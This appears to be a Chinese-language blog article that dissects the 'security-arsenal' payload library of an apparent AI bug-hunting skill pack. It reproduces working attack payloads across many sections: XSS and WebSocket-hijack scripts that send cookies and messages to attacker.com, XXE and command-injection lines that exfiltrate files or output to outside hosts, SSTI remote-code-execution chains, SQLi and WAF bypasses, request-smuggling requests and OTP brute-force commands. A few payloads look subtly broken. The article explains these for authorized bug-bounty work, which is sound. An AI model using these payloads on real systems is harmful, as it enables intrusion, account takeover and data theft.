Claude-BugHunter security-arsenal 技能解析:payload 库、绕过顺序与「可提交性」判定工程

原创2026-11-16 12:31:392,272 阅读
文章标签:网络安全渗透测试AI 技能红蓝对抗漏洞扫描MCP Clients

Claude-BugHunter security-arsenal 技能解析:payload 库、绕过顺序与「可提交性」判定工程

在 Claude-BugHunter 这个面向漏洞挖掘与外部红队工作的技能包中,security-arsenal 承担的职责非常具体:它是语法层的军火库——当你已经知道某个参数是 sink、某个端点是解析器入口、某个握手缺少 Origin 校验时,这个技能提供可直接复制的 payload、绕过表和字典;而「这个漏洞到底能不能提交」则被明确划归 triage-validation。本篇以 skills/security-arsenal/SKILL.md 为主线,逐节拆解它的 payload 分类体系、2026 年的时效性判定、以及它如何被仓库的 CLI、路由表和 lint 规则接入实际工作流。

一、技能定位:职责边界写在 frontmatter 里

该技能文件开头的元数据不是装饰,而是被工具链真实消费的契约:

---
name: security-arsenal
description: Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, or bypass techniques. Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation.
sources: community, public_research
---

三个字段各自有用:

字段 作用 仓库中的消费方
name 必须等于目录名 security-arsenal,且匹配 ^<a href="https://link.gitcode.com/i/626f2fef70fdf33a56ad780471da72c9" target="_blank">a-z0-9-]+$ [scripts/lint_skills.py 的 lint_skill() 强校验
description 触发面(何时自动加载该技能);同时是 cbh classify 的关键词匹配语料 cbh/cli.py、cbh/data/skill_index.json
sources 声明知识来源(社区 + 公开研究),GROUNDING_STRICT = True 下缺失即报错 scripts/lint_skills.py

注意 description 里那句显式的权责划分:「Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation」。这是刻意设计的单一事实源——因为 skills/triage-validation/SKILL.md 里也有一份结构相同的「NEVER SUBMIT LIST」和「CONDITIONALLY VALID — CHAIN REQUIRED」表。两份表必须保持一致,否则 Q7(「这是不是已知无效的漏洞类别」)的判定会漂移。

从仓库技能目录看,security-arsenal 不属于 hunt-* 家族:它不出现在 engine/skill_map.py 的 CLASS_SKILL 路由表里(该表只映射到 hunt-sqli、hunt-xss 这类执行型技能)。它的角色是被 hunt-* 技能反向引用的参考资料库,例如 skills/hunt-xss/SKILL.md 明确写着「在手工构造 payload 之前,先取用 XSS payload bank(SVG+style、math+style mXSS、CSP-bypass JSONP gadgets、WAF 漏掉的 HTML5 事件处理器)」。

1.1 它如何被真正加载

在 hunt-dispatch 的编排逻辑中,security-arsenal 被列为 always-on:WAPT 模式下与 bb-methodology、triage-validation 一起常驻加载,并在 taxonomy 打印阶段归入 reporting: 行——见 skills/hunt-dispatch/SKILL.md。这意味着它不是「需要时才想起」的字典,而是注入/认证/逻辑等所有测试阶段的默认上下文。

cbh classify 则是命令行侧的另一条入口。它读取每个 SKILL.md 的 description: 做关键词匹配(正则 ^description:\s*(.+?)(?=\n<a href="https://link.gitcode.com/i/6916f1cc926c6e3f118ff00fd333d107" target="_blank">a-z_]+:|^---|\Z),与 [scripts/gen_skill_index.py 使用的模式一致),命中后输出 skill 路径与对应的 disclosed-report 语料。也就是说:description 写得越精确,路由越不会漏。

二、XSS:探针、取证实效与 CSP 绕过

原始技能把 XSS payload 分成四层,这个分层逻辑本身就是方法论:先确认反射上下文,再证明影响,最后才处理防御。

2.1 基础探针

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

这里有两处细节值得展开:

  • 用 alert(document.domain) 而非 alert(1),是为了让截图本身携带「在哪个域执行」的证据。alert(1) 只能证明有脚本执行,无法证明执行域,事后在报告里容易被打回「Self-XSS 或 sandbox」。
  • "><script> 与 '><img ...> 是成对出现的上下文猜测器:前者针对双引号包裹的属性值,后者针对单引号包裹。真正的上下文判定要靠响应体里的未转义回显位置,而不是靠猜。

2.2 取证实效(cookie theft)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

这三条对应不同的证据强度:document.location 会跳转页面(受害者可见,隐蔽性差);fetch 不跳转,适合 PoC 视频;btoa 版本用于 cookie 含特殊字符时避免 URL 编码破坏。但要与可提交性规则对齐:skills/triage-validation/SKILL.md 的 Q6 明确要求「XSS → 展示真实 cookie 窃取或会话劫持,而不是仅 alert(1)」。同时 Self-XSS 在「always rejected」名单里,仅在配合 CSRF 触发受害者时才算有效(属条件成立项)。

2.3 CSP 绕过

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

关键认知在于:CSP 是否可绕,取决于页面里还有什么。事件处理器(onerror)不属于 script-src 的内联脚本执行路径,所以当 unsafe-inline 被禁但允许 img-src 时它仍然可用;nonce 反射需要你在 HTML 里找到现成的 nonce 值;Angular 的模板注入走的是框架自身的表达式沙箱;mXSS 则依赖浏览器与序列化器对 HTML 的两套不同解析规则。

2.4 DOM XSS 的 source/sink 映射

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

setTimeout 那一行特意标注了 // string form:传入函数引用时无害,传入字符串时等价于 eval。window.name 之所以列为 source,是因为它可以跨域被写入并在目标页读取,历史上大量 DOM XSS 由它承载。

需要注意一个 2026 年的现实:element.src = "javascript:..." 在现代 Chrome 中已被限制(需显式用户手势),这条 payload 主要仍在 WebView、Electron、旧版 Edge 等环境中生效。技能本身未对此加注,但 Operator Notes 的「时效性」章节给出了同类判断原则(见后文第六节)。

三、SSRF:元数据端点、内网指纹与 IP 变形

3.1 云元数据

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

实操要点:GCP 必须带 Metadata-Flavor: Google,Azure 必须带 Metadata: true,否则返回 403。这意味着当 SSRF 只允许控制 URL、不允许控制请求头时,AWS 路径的可利用性明显高于另外两家——而这一点决定了你值不值得继续投时间。/latest/user-data/ 常被忽略,但它往往包含启动脚本里的密钥与内网地址。

3.2 内网服务指纹

http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server

10.96.0.1 是 kubeadm 默认的 Service CIDR 网关地址,能连上它通常意味着目标跑在 K8s 里;Docker API 的 2375 端口一行(GET /containers/json)就是容器逃逸的前置条件。MongoDB 那条注释提示了判定技巧:connection refused 与 timeout 的差异本身就是端口存活信号,不需要应用层响应。

3.3 IP 绕过编码

# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

这七种写法对应同一个 in_addr 语义,但字符串形态完全不同——黑名单式过滤几乎必然漏掉其中若干种。DNS rebinding 与开放重定向链解决的是另一种防护模型:前者攻击「先解析后校验」的时间差,后者攻击「只校验首跳 URL」的实现缺陷。

与可提交性的交叉点:SSRF with DNS callback only (no internal service access) 在「always rejected」名单里;对应的条件成立项要求「internal service access + data retrieval」。仓库的 scripts/… 无自动化判定] 之外,[cbh/cli.py 在执行完 classify 后会直接打印四条 next moves,其中第 3 条就是「Apply OOB-Or-It-Didn't-Happen Gate before claiming success」——把 OOB 确认做成了工具输出的一部分。

四、SQL 注入:从检测到 WAF 绕过

4.1 检测

'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

'、''、`、')、')) 这五个是「括号/引号闭合探测」序列:先用单引号触发语法错误,再用 ') 试探是否在函数调用内部,')) 覆盖双层嵌套。# 是 MySQL 注释符,-- 后面必须跟空格(或 URL 编码为 --%20),这是最常见的复制粘贴失败点。

4.2 UNION 列数判定

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

逐个增加 NULL 数量直到不回显错误,即得列数;最后一行把某列换成字符串 'a',用于确认哪个位置的数据类型是文本(能承载 'a' 的列才适合做回显位)。

4.3 时间盲注(按数据库分派)

# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

Oracle 没有 SLEEP(),dbms_pipe.receive_message 是标准替代;这条也是判断后端为 Oracle 的特征之一。但必须叠加统计纪律:单次 5 秒差异不能作为结论,仓库的 docs/verification/hardened-lab-discipline-rules.md 用 n=10 交错采样 + Welch t 统计量验证了这一点(t=5.26 才认定信号成立,而单次 129ms 差异曾险些被误报)。

4.4 WAF 绕过

/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

/*!50000 ... */ 是 MySQL 特有的可执行注释(版本号 ≥ 5.0.0 时执行),既绕过关键字匹配又不破坏语义。最后一行用的是 U+02BC(修饰字母撇号)而非 ASCII '——用于测试后端是否做了 Unicode 归一化后再进入 SQL 解析。

五、XXE:从文件读取到带外外带

5.1 经典文件读取

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

5.2 盲打 OOB(DNS 确认)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

5.3 DNS + 数据外带

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

这段是参数实体(%)的经典用法:%data 先加载本地文件内容,%param1 在 DTD 内部再定义一个引用 %data 的实体,最终把文件内容拼进 URL 路径——因此文件内容会出现在 DNS/HTTP 请求里,绕过「页面不回显」的限制。注意 %param1; 必须在 DTD 内部调用,且 % 实体在 XML 外部子集中才能跨实体引用,这是最容易写错的地方。

5.4 经文件上传触发

  • SVG:<image href="file:///etc/passwd" />
  • DOCX:在 word/document.xml 中植入带外部实体的 XML

这条路径的价值在于绕过「只接受图片/文档」的入口限制——上传接口通常不解析 XML,但下游的缩略图生成器、Office 文档解析器会。

5.5 2026 年的现实:解析器生态决定成败

技能正文未标注,但其 Operator Notes 与仓库验证文档给出了硬结论:Python lxml ≥ 5.x(6.x 确定)即使设置 resolve_entities=True 也会静默丢弃 SYSTEM 实体内容。docs/verification/phase2g-saml-mfa-xxe.md 记录了完整复现:内部实体 &hello; → world! 正常展开(证明 resolve_entities=True 生效),但 SYSTEM "file:///etc/passwd" 返回空文本,甚至自定义 Resolver 被调用后内容仍不进入语法树。同一文档给出了按生态的可用性判断:Java SAX/DOM、PHP DOMDocument + LIBXML_NOENT、.NET XmlDocument + XmlResolver、Ruby Nokogiri + DTDLOAD 仍可打;Spring Boot 默认受限。

对应的可操作做法是先指纹再决定投入:

  • Server: Apache Tomcat 或 X-Powered-By: Servlet → Java → 大概率仍可打
  • Server: nginx 反代 PHP-FPM → 取决于是否用 DOMDocument
  • 现代 Python Web 框架 → 默认已硬化,优先级下调

六、路径穿越

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

....// 针对「一次性删除 ../」的过滤器:删除后 ....// 重新坍缩为 ../。..%252f 是双重编码,用于绕过「解码一次后校验、再解码一次后使用」的实现。%00 空字节截断对 PHP < 5.3.4 及部分旧 Java 有效,现代运行时基本失效,但仍值得一次尝试。....\/ 混用分隔符用于同时通过 Windows 与 POSIX 的规范化差异。

七、IDOR 与越权

7.1 水平越权

# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456

五种手法对应五类常见实现缺陷:主键直读、UUID 可猜测/可枚举(常通过其他端点泄露)、方法级鉴权遗漏、版本化 API 的补丁不对齐、以及「参数未被服务端使用但被下游消费」。最后一条尤其隐蔽——user_id 可能被 ORM 的默认 scope 忽略,直接落到查询条件里。

7.2 垂直越权

# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

{"role":"admin"} / {"isAdmin":true} / {"admin":1} 三个变体覆盖了不同命名习惯与类型习惯(字符串、布尔、整数)。GraphQL introspection 本身不能单独提交——它只是发现 admin mutation 的手段,只有配上「auth bypass mutation 或 node() 上的 IDOR」才成立(见第九节条件表)。

八、认证绕过:JWT 与 OAuth

8.1 JWT

# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt

-m 16500 是 Hashcat 的 JWT 模式;.rstrip('=') 是必须的,因为 JWT 使用 base64url 无填充编码。

这里有一个极其重要的教训:skills/triage-validation/SKILL.md 记录了真实案例——JWT alg:none 曾被初判为 Critical,因为签名绕过在 audience 校验层已确认;但后续测试发现 issuer 信任检查仍然拒绝未签名令牌,完整 ATO 链并未闭合,最终必须撤回。这正是「primitive 确认 ≠ 可利用」的典型。「always rejected」名单里的 Banner / version disclosure without a working CVE exploit 遵循同一逻辑。

8.2 OAuth

# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

判定要点在于响应形态而非状态码语义:如果省略 code_challenge 后仍返回 302 跳转到 redirect_uri 并附带 code,说明 PKCE 未被强制。state 缺失/静态则意味着可以把授权码绑定到攻击者账户(账号绑定型 CSRF)。这两项本身通常不单独提交,但开放重定向 + redirect_uri 滥用的组合是 Critical 级 ATO 链(见条件表第一行)。

九、NoSQL 注入(MongoDB)

9.1 操作符注入(JSON body)

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}

9.2 GET 参数注入

# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)

GET 形式依赖 PHP/qs 风格的 param[key]=value 解析,把字符串变成对象。$where 在旧版 MongoDB 中执行 JavaScript,因此具备从注入升级到代码执行的潜力——但现代版本默认禁用服务端 JS 执行,需要实测。

9.3 一条可直接运行的 curl

curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

%5B/%5D 是 [/],%24 是 $。很多 WAF 规则只匹配明文 $ne,编码后即可通过。

十、命令注入

10.1 基础检测

; id
| id
` id `
$(id)
&& id
||| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`

id 用于有回显场景;sleep 5 用于时间型盲注。||| id 是刻意构造的畸形写法(|| + |),用于触发不同 shell 解析分支。

10.2 盲打 OOB

; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)

最后一行是带数据外带的版本:把 id 输出 base64 后拼进 URL 路径,从而在 DNS/HTTP 日志中拿到执行身份。ping -c 1 的 -c 是 Linux 语法(Windows 为 -n),跨平台时要切换。

10.3 绕过

# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com

${IFS}(Internal Field Separator)替代空格是 Linux 上最可靠的一招;{cat,/etc/passwd} 利用花括号展开在分词前完成,因此逗号充当分隔符。引号拆分(c'a't)绕过的是「按完整单词匹配」的规则,Shell 会在分词后拼接。

10.4 文件名上下文注入

# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

上传文件名是最常被忽视的注入点:服务端若用 subprocess 调用 convert、ffmpeg、unzip 等工具且未做参数化,文件名即命令片段。后两条同时覆盖路径穿越(写入位置越界)。

十一、SSTI:引擎识别优先于 RCE

11.1 通用探针

{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE

整套探针的设计核心是先分流、再打击。{{7*7}} 返回 49 只能说明是 Jinja2 或 Twig;{{7*'7'}} 是判别器——Jinja2 中 * 对字符串做重复得 7777777,Twig 则做算术得 49。同理 ${7*7} 在 Freemarker(Java)与 Spring EL 间需要进一步区分。

11.2 分引擎 RCE

Jinja2(Python/Flask/Django):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()396.communicate()[0].strip()}}

三条路径分别沿 config 对象、request.application、__mro__ 子类枚举抵达 os。第三个的 [396] 是索引,必须现场枚举确认而不是照抄——不同 Python 版本与导入集下 subprocess.Popen 的下标不同(可用 {{''.__class__.__mro__[1].__subclasses__()}} 先 dump 列表再定位)。

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker(Java):

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

ERB(Ruby on Rails):

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Spring Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

第二行 __${...}__::.x 是 Thymeleaf 预处理(preprocessing)语法:__${...}__ 在正常表达式求值之前执行,常用于绕过只检查常规表达式语法的过滤器。

EJS(Node.js):

<%= process.mainModule.require('child_process').execSync('id') %>

11.3 该测哪里

Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

这份清单的价值在于把「模板注入」从「输入框」扩展到所有会被模板引擎二次渲染的位置:邮件主题、发票/PDF 生成器、通知模板、以及出现在渲染响应里的 HTTP 头。这些位置通常没有 XSS 防护意识,却直接进模板。

十二、HTTP 请求走私:四种形态与探测流程

12.1 CL.TE

前端看 Content-Length、后端看 Transfer-Encoding:

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

12.2 TE.CL

前端看 Transfer-Encoding、后端看 Content-Length:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0


这里 SMUGGLED 前必须有长度声明 8,末尾的 0 + 空行是 chunked 终止符;Content-Length: 3 只覆盖到 8\r\n,剩余部分留给后一个请求。

12.3 TE.TE:混淆使某一层忽略编码头

# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

每一种混淆都基于「两个解析器对同一段字节的 header 边界判定不同」这一事实:xchunked 是未知编码、大小写/前置空格/tab 分隔、甚至把头部名与冒号拆到两行。

12.4 H2.CL

# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync

HTTP/2 用 :content-length 伪头,手动插入的普通 Content-Length 在前端被忽略但在降级到 HTTP/1.1 的后端被采信——这正是 CDN → origin 链路上最常见的降级型失同步。

12.5 探测流程

1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED

第 4 条的判据值得记住:超时本身是证据——后端在等一个永远不会到来的 chunk 结束符。

12.6 影响链

Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

12.7 先指纹,再打:Phase 2H 的硬数据

这是本技能 Operator Notes 里最有价值的一条更新。仓库的 docs/verification/phase2h-smuggling-cachepoison.md 用 Nginx 1.27 + gunicorn/Flask 双服务实验环境实测了 9 种变体:经典 TE.CL、经典 CL.TE、冒号前空格、尾随空格、tab 分隔、大小写变体、双 TE、X-Transfer-Encoding 前缀——全部被前端拒绝(多为 400,tab 变体返回 501)。结论是 Nginx ≥ 1.21(1.27 确定)按 RFC 9112 严格解析,同时出现 Content-Length 与 Transfer-Encoding 直接杀请求。

技能正文据此给出的可打目标集合是:HAProxy ≤ 2.4、旧版 F5 BIG-IP、Citrix ADC、特定配置的 AWS ALB、Apache Traffic Server。对应地,操作顺序应是先指纹:

curl -sI https://target/ | grep -i "Server:"
  • nginx/1.21+、caddy 2.x、envoy 1.20+ → CL/TE 经典打法基本无效,转向 H2.CL/H2.TE
  • HAProxy、AWS ALB、Cloudflare → 跑完整矩阵
  • 无 Server 头或无法识别 → 先假定已硬化

这套「目标适格性矩阵」的思路,在仓库自动化侧也有对应实现:engine/skill_map.py 为 http-smuggling 定义的首探就是 curl -s --http1.1 "{u}" -H 'Transfer-Encoding: chunked' -H 'Content-Length: 6',并在注释里要求「用 Burp 的 HTTP Request Smuggler 确认」——即先低成本嗅探,再上专用工具。

十三、WebSocket

13.1 IDOR / 鉴权绕过

// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}

WebSocket 的核心问题在于「握手时鉴权一次,之后每条消息不再校验」。admin.* 命名空间调用是最值得试的一条——很多实现只在前端隐藏 UI,未在服务端做命名空间级鉴权。

13.2 跨站 WebSocket 劫持(CSWSH)

<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>

浏览器在 WS 握手中不会应用同源策略,但会带上目标域的 Cookie。因此只要服务端不校验 Origin,攻击者页面就能以受害者身份建立连接并读取消息——这是 CSWSH 与普通 XSS 的本质区别。

13.3 Origin 校验测试

# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"

三种载荷分别针对:完全不校验、错误地信任 null(sandboxed iframe / file:// 场景)、以及后缀匹配型校验(endsWith("target.com") 之类)。

13.4 消息级注入

// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}

第三行是链路预览功能(link preview)里最常见的 SSRF 入口:服务端抓取 URL 生成缩略图,等于一个天然的 SSRF 原语。

十四、MFA / 2FA 绕过七种模式

模式 1:OTP 爆破(无限速)

# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request

seq -w 000000 999999 用进程替换生成 10⁶ 个定长数字,-fc 400,429 过滤掉「格式错误」和「被限速」的响应——剩下的就是你关心的。若端点限速,两条绕法:轮换会话令牌(把限速键从 IP 换成 session),或用 GraphQL batching 把 100 次尝试塞进一个请求。

仓库已有实测佐证:docs/verification/phase2g-saml-mfa-xxe.md 中 /2fa/verify 无任何限速/延迟/锁定,扫描到第 12 次即命中真实 OTP(847291),按观测吞吐(同步约 3000/s)推算 10⁶ 空间约 5 分钟跑完。

模式 2:OTP 复用(令牌未失效)

1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login

关键判据是「验证成功后是否立即作废」以及「是否与具体会话绑定」。两者都没做,就等于 OTP 长期有效。

模式 3:响应篡改

Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard

这是客户端信任型缺陷。它只在「前端依据响应决定是否跳转、后端未维护服务端状态」时成立——所以必须验证跳转后能否真正访问受保护资源,否则只是 UI 层假象。

模式 4:验证码可预测

import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break

±30 秒偏移用于覆盖服务器与客户端的时钟漂移;如果命中,说明 OTP 是纯时间函数且密钥可预测(例如硬编码在前端或可枚举)。

模式 5:备用码无限速

# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit

注意这里的规模判断是反直觉的:8 位字母数字若字符集为 36,空间是 36⁸ ≈ 2.8×10¹²,远大于 10⁶;但如果实现只用数字或允许短码/忽略长度,实际空间反而更大——所以关键是先测「是否校验格式与长度」,再算空间。

模式 6:跳过 MFA 步骤(流程绕过)

